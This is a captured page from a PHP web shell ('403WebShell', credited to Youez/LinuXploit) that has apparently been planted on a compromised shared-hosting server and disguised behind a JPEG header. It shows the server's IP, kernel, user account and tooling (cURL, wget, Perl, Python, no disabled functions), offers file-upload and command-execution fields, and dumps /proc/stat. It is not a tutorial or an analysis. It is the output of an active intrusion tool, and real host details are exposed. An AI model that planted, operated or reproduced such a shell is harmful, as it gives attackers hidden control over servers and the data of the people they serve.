????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.48.1  /  Your IP : 216.73.216.46
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/././proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/././proc/stat
cpu  6429944024 117838381 2405446204 8580936428 403910308 0 276848934 12437133 0 0
cpu0 265671085 4947271 99813283 359406062 16851947 0 13053468 484238 0 0
cpu1 267285752 5060486 100038781 358047320 16865028 0 12327322 482393 0 0
cpu2 267904521 4927520 100222890 357377298 16923627 0 12117964 479929 0 0
cpu3 268874795 4899818 100146789 356845368 16928281 0 11758404 480566 0 0
cpu4 269583759 4947023 100526003 357511457 17034250 0 9961978 476674 0 0
cpu5 269761768 4890269 100470784 357601330 16961441 0 9851984 476299 0 0
cpu6 269505076 4923822 100589183 357726097 16963446 0 9782492 477033 0 0
cpu7 269788335 4906738 100611252 357459451 17012432 0 9708764 476414 0 0
cpu8 268763955 4906715 100428400 356903554 16976257 0 11309245 480952 0 0
cpu9 258243717 4801188 100273372 366442091 17287141 0 11636967 496145 0 0
cpu10 268108075 4970500 100257760 357708431 16945547 0 11247409 479410 0 0
cpu11 270836096 4990574 100432386 353208216 16238588 0 9503880 784949 0 0
cpu12 268681485 4889112 100331049 357219348 16926643 0 11185199 477983 0 0
cpu13 265448803 4805030 99035614 352491171 16407657 0 20590452 656573 0 0
cpu14 265890300 4878560 99085369 351652653 16361843 0 20731712 607371 0 0
cpu15 268194774 4846622 100207792 357936995 16879351 0 11140317 480420 0 0
cpu16 268109259 4886092 100300961 357625803 16890585 0 11387256 486062 0 0
cpu17 267989324 4854234 100212589 358007142 16873896 0 11296000 486597 0 0
cpu18 268135618 4974684 100116752 357994090 16834613 0 11108925 480643 0 0
cpu19 268376561 4779806 100076992 358088481 16812890 0 11092011 478394 0 0
cpu20 268497349 5021790 100486818 359031223 16890143 0 9444503 474283 0 0
cpu21 267898457 4842855 100769668 359508992 16910952 0 9446018 474656 0 0
cpu22 268095428 4927062 100402828 359597002 16895045 0 9433494 475646 0 0
cpu23 270299721 4960599 100608876 355546839 16238697 0 7733157 783490 0 0
intr 87215820782 61 9 0 0 479 0 0 0 1 0 0 0 15 0 7549182 0 0 0 0 0 0 0 0 0 0 0 0 2982620656 2956404411 0 29 0 126766162 1351707739 0 283925083 275619190 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 278074202921
btime 1749132753
processes 904731994
procs_running 64
procs_blocked 0
softirq 130026896058 1 3556084034 8448 1865855342 1300021981 0 675569601 22157447 2101236 2346013680

Youez - 2016 - github.com/yon3zu
LinuXploit